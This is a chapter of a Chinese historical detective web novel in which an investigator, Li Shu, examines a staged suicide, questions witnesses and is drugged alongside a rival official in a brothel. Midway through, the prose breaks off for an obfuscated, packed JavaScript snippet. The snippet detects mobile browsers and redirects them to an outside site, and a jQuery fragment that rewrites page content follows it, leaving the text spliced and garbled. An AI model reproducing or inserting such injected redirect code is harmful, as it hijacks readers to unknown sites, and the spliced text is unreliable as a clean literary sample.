沧澜郡。
停尸房的空气凝着陈年血腥与蜡油混合的浊气。两盏白灯笼悬在梁下,光晕昏黄,堪堪照亮正中之前畏罪自尽的郡县尸首。
李殊挽起青布袍袖,俯身凑近,鼻尖几乎触到那僵冷的皮肤。尸体颈间深紫色的淤痕蜿蜒如蛇,指痕边缘却带着古怪的乌青,不是自缢能勒出的痕迹。
他指尖捻过死者蜷曲的指甲缝,带出几丝极细微的靛蓝色纤维,是靛蓝染过的粗棉线。
“勒痕在前,悬梁在后。”李殊直起身判定道,声音不高,却在停尸房死寂的砖墙上砸出冷硬的回音。他的目光扫过物证中死者颈间那条充当了“帮凶”的麻绳,唇角绷紧,冷哼一声,“好一出自尽的把戏。”
角落的仵作捧着记录簿,笔尖悬着,墨汁将滴未滴。
“如实记录是仵作的责任,”李殊冷冷瞥了他一眼呵斥道,然后褪下验尸用的薄皮手套,丢在盛放验具的木盘里,“若是真得罪了什么人,有我替你担着”,他理了理被压皱的衣袍,转身朝门口走去。
“备马。”李殊推开沉重的外门,门外天光惨白,刺得人眯起眼。他声音斩钉截铁,不容置疑,“去县主府。”
“去瞧瞧昏迷不醒的驸马爷,”他侧过头,下颌线条冷硬,“活人会说谎,但昏迷的人,或许无意中会吐露一些真心话。短短几天内,驸马和郡守接连发生意外,很难不让人多想……或许他们知道了同一个不该知道的秘密。”
驿站,陵瑛县主下榻的府邸,上官云谦躺在沉香木雕花床上昏迷不醒,青缎被面下露出半截苍白手腕。
李殊背对着门站在床前,玄色官袍腰带紧束出劲瘦腰身,勾勒出官纤细的身形,若是从后背细细看来,倒是比寻常男子窄上三分。
“李评事倒是勤勉。”苏怀堂正巧由陵瑛县主引路入内,瞧见堵在门口的李殊开口道,声音带着说不出的嘲讽和揣测,“听闻刚刚调阅了刑部和大理寺的案情文书,就马不停蹄地急着来验看驸马爷的伤情?”
屋内铜盆里的药汁还在冒热气。李殊不答话,执起上官云谦的右手端详。
“指挥使有时间嘲讽下官,倒是不妨去查查,上官世子昏迷前到底知晓了什么秘密?才被人谋害。”李殊毫不客气地还击开口,声音压得低沉,“听闻之前被下狱的张大人在天牢自缢前,可是抓着上官世子的衣襟说了半刻钟的话。”
苏怀堂眯起眼睛。光线透过茜纱窗棂,在李殊侧脸投下细密阴影。这个新调任的大理寺评事总爱用碎发遮住眉眼,说话时脖颈绷成一道笔直的线。
“上官老夫人倒是给你送来一把趁手的好刀”,苏怀堂笑着看向陵瑛县主,“只是过刚易折。“
陵瑛笑了笑,“多谢指挥使提醒,我一定好好珍惜,必不让宝刀蒙尘。”
“既然此处有李大人在,苏某便告辞了。”
李殊并未答话,陵瑛笑道,“那我送指挥使出去。”
屋外的春风裹着阵阵药香袭来,李殊仔细带上银丝手套,神色肃穆检查着上官云谦出事当日,云纹靴脚下的泥土痕迹。
“李大人”,药童捧着铜盆在陪旁边伺候,瞧见屋内没别人,壮着胆子打探道,“外边都在传驸马是被人从高处推下去的……驸马一向为人宽厚风趣,来北地赈灾时更是亲力亲为,深受百姓爱戴,小人从未听闻驸马与人结怨……听说,因着县主的缘由,与苏指挥使早年争风吃醋,莫不是……”
“掌灯。”李殊打断药童口若悬河的八卦,冷冷瞥了他一眼,“静坐当思自己过,闲谈莫论他人非,没有影儿的事情,不许胡说。”
小药童不服气地扭过头,趁着他不注意吐了吐舌头。
——
三更梆子响过第二遍,李殊在朱雀大街勒住缰绳,如盐的飞雪扑在他单薄的肩膀上,他停在醉红酒楼后院,此时一切静悄悄的,仿佛与不远外的闹市隔着一道看不见的结界。
他三下五除二利索翻过内院的小墙,脚尖落地无声。
李殊身着墨青短衫,腰间暗藏判官笔与匕首,一身打扮仍是少年装扮,却掩不住眼中掠过的锋锐光芒。
几个月前大理寺正堂的情形又在眼前晃动,刑部侍郎那句讽刺突然萦绕在耳,“你没出身、没靠山,父亲不过一个寒门仵作,顶天了也不过是个验尸人。一个人孤身四处奔走查案,以为能在这朝堂上搏个名声?”
刑部侍郎话语温吞,笑意却透着刻意的羞辱。“可惜啊,世家子弟只当你是个会翻泥巴的乡下小子罢了。就算你查出了天大的案子,最后上达天听的奏折上也写不上你的名字。你以为你赢了?其实不过是替人跑腿罢了。”
然后是同僚表示附和的嗤笑,将她的自尊心碾的粉碎。
李殊仕途不顺,幸而得遇上官家。是上官云湛麾下幕僚对他青眼有加,才大力举荐他还北地查办此案,这次他一定要给上官公子一个交代,将案子查得水落石出,给伤者以交代,给自己以正名!
一个仵作世家出身的穷小子又如何,还是可以凭借自己的才干在朝堂上扬名立万!
李殊脚步一顿,立在楼下,微皱眉头。
他刚从昏迷的上官云谦身上查线索,顺藤摸瓜找上此处,原以为自己快人一步,却没想到——
楼上,灯火未灭,帷幔后隐隐传来欢声笑语。
“大人气度不凡,奴家这颗心呀,早就系在您身上了。”
是女人的娇声,带着那种刻意拉长尾音的媚气,听得林殊下意识皱了眉,浑身的鸡皮疙瘩都起来了。
声音的主人,是醉红楼头牌绣奴,此案中驸马失足前最后承认接触过的女子,也是唯一可能知情的人。
他眸光一凛,正要抬步上楼,忽听那笑声被一记轻冷的男声打断:
“我今日没有时间陪你戏耍取乐,你若想死得快些,就继续说废话。”
那声音冷沉平稳,不怒自威,透着上位者惯有的凌厉与精准掌控。
李殊步伐一顿,眼中闪过一丝意外:“苏怀堂,他也在?”
他脚步加快,快步登上二楼,未等小厮通传,已径直推开雅间的门。
门内香烟未散,锦帷微动,绣奴跪伏在地,妆容已乱,脸色惨白。
苏怀堂负手立于窗前,神情淡漠,一身月白衣袍被风轻拂,衣角飞扬,清冷如霜。
他眉眼不动,目光却如刀,将绣奴压得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255201|187169||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几乎喘不过气来。
李殊倚门而立,开口道:“看来我来晚了半步。”
苏怀堂转头,淡淡从头到脚扫了一眼,未有情绪起伏,只一句:“看来李大人名不副实,临安城第一神探的名号不若让贤吧。”
语气不重,却不带一点礼貌。
李殊也不恼,嘴角一勾,语气带刺:“我查案靠线索,不靠酷吏刑罚,也不可靠出卖色相和酒楼姑娘引路。”
“听闻……指挥使查案是雷霆手段,昨儿个生生折了三个狱卒的手指,还拘役了醉红楼一众无辜围观人员日夜不停审问…….”
苏怀堂目光沉沉落在他身上,李殊倔强地对视片刻,不肯移开目光,空气中隐隐有火花溅起。
“指挥使能先人一步,自然是好手段。”李殊悄悄将判官笔转在掌心,并不示弱,嘲讽道,“刑可逼口,岂可逼心?无凭无据之言,终是纸糊的案底,不牢靠!”
“哦?“苏怀堂眉头微挑,眼中多出一丝打量意味,像是在重新衡量眼前这个少年打扮的同僚。
李殊不避不让,忽视舞姬好心规劝轻扯的裤脚,“酷刑之下,忠臣亦可成贼;证不立,理不明,刀再利,也是冤假错案,难以服众。”
“既如此,这里便交给李大人处置”,苏怀堂语气温和,端起茶盏遥敬李殊,轻扬唇角似笑非笑,指尖略顿饮下半盏,“也让我学一学如何探案……”
李殊闻言有些不好意思,吃不准苏怀堂的意思,只能硬着头皮继续道,“指挥使客气,李殊不敢逾越。”
舞姬闻言轻笑出声,“你这呆子……真有趣!“
瞧见苏怀堂凉凉的眼神,顿时住了口。
屋内香烟未散,绣奴跪伏在地,揣度着两人神色,小心翼翼地添了热茶奉给李殊,恭谨低声重复:“大人们,我说的……都是真的了……上官大人确是来过酒楼,只是当日似乎心情不好一味吃酒买醉,并不理睬奴婢姐妹,于是奴婢伺候过一盏茶,便退下了……再然后就是听到门外喧嚣,大人失足坠楼……”
屋内,檀香氤氲,珠帘半垂,灯影摇红。
李殊盯着眼前朱漆几案茶盏中的碧螺春茶,突然觉得晕眩,茶汤微热,香气缱绻如丝,若有若无地牵动着人的神识。
苏怀堂执盏在手,似觉有异,眉心轻蹙,须臾之间,眸中微光一闪即逝,继而转为茫然失神。
舞姬绣奴缓步而前,腰肢轻软如柳,声音婉转缠绵:
“奴家日日倚楼望月,等的可就是今宵这一盏茶。”
她的笑意含羞带媚,却又深藏锋芒。“指挥使好冷的心肠……”
她染着蔻丹的指尖掠过苏怀堂襟前云纹,“不愧是和薛景珩并称临安城双璧的苏公子,果然是清俊少年郎,勾的我都心动了。“
苏怀堂的神色在短短几息间彻底变了。
他缓缓抬眸,眼神不再凌厉清冽,而是柔和到近乎脆弱,仿佛红尘旧梦在眼前铺开。目光定定望着眼前人,低声呢喃:
“久久……是你么?“
目光灼灼,仿佛看见了失而复得的至宝,嘴角勾起一抹李殊从未见过的温柔弧度。
“……你回来了。”